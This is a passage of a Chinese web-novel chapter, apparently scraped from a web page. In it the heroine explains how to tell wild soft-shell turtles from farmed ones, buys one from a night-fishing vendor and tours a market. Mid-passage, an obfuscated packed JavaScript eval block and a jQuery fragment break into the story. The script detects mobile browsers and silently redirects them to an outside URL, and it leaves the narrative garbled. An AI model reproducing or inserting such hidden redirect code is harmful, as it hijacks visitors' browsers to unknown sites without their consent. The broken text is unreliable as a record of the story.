”
“个头大，不代表就是野生，野生与养殖甲鱼还有一个最本质的区别，黄油的多少。”
“黄油？”
邓一珩也疑惑了，他吃过甲鱼，但都是熟了端上桌的，黄油是什么没见过。
“黄油可以理解为脂肪，在宰杀时候会见到的一种粘液，野生甲鱼黄油要比养殖的少很多，不能说是全部没有。
因为野生的甲鱼通常饿一顿饱一顿，所以黄油少，就像是一个常年饥饿的人没有大肚腩是一样的道理。”
凌越耐心给两人科普。
邓一珩恍然大悟： “原来是这样！学到了，没想到我一个不会下厨的人，居然还挺喜欢听关于食物的科普。”
“多看几集纪录片也能学到。”凌越并不得瑟，有心人多查查资料也能学会。
“纪录片我是看不下去的，但咱凌姐的科普，我是爱听的。”
邓一珩有个优点，会说话。
这孩子带在身边，挺开心。
“唉，今天难道真遇不到野生甲鱼了么？”凌越在菜市场逛了一圈，已经想要放弃了，想着买一些海参和鲍鱼回去时，她转角遇见爱。
一位有着全套钓鱼装备的中年男子，带着帽子，但遮不住眼底的乌青。
他打着哈欠，坐在一个小马扎上，都着腿儿，和周围的吆喝声格格不入。
他很悠闲。
仿佛此刻的他是不是在摆摊，而是在度假，周围的吆喝是他的配乐。
凌越随即确定，恐怖的钓鱼佬！这大叔一看就是通宵钓鱼，黑眼圈是他的凭证。
她走上前，晃晃手：“叔？”
大叔闻眼睁开眼，将耳机摘下：“老妹儿，买鱼啊。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14152302|148046||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“甲鱼怎么卖？”
凌越询问让大叔猛一惊，这小姑娘，识货之人！
甲鱼只有四斤半，但绝对野生。
“550一斤，这甲鱼四斤半左右，野生公。”
“帮我装起来吧。”凌越说完拿出手机付款一气呵成。
手边两位：这也太爽快了些吧！
他们逐渐好奇，饭馆今日份菜单了，但是甲鱼仅有一只，不知道是哪位幸运儿能够吃到……
凌越又领着两人逛遍菜市场的肉类区，蔬菜区以及水果区，带他们认识食材的名称以及挑选方法。
还顺便加了很多商贩的微信，做饭馆的嘛，当然是要多多结交这些种植养殖户咯。
让凌越没想到的是，路仁的算数能力远比她想的更厉害。
三万以内的数，她三秒就能正确心算出来。
压根就不需要再敲计算机。
这时的路仁拿着小本本记录，只听她说：“越越，你每日营业前，把菜单先告诉我，我帮你定价，这两天你定价太低了，柴米油盐还有纸巾碗筷等等成本你都没算进去。”
凌越一脸欣慰，拍拍路仁的肩膀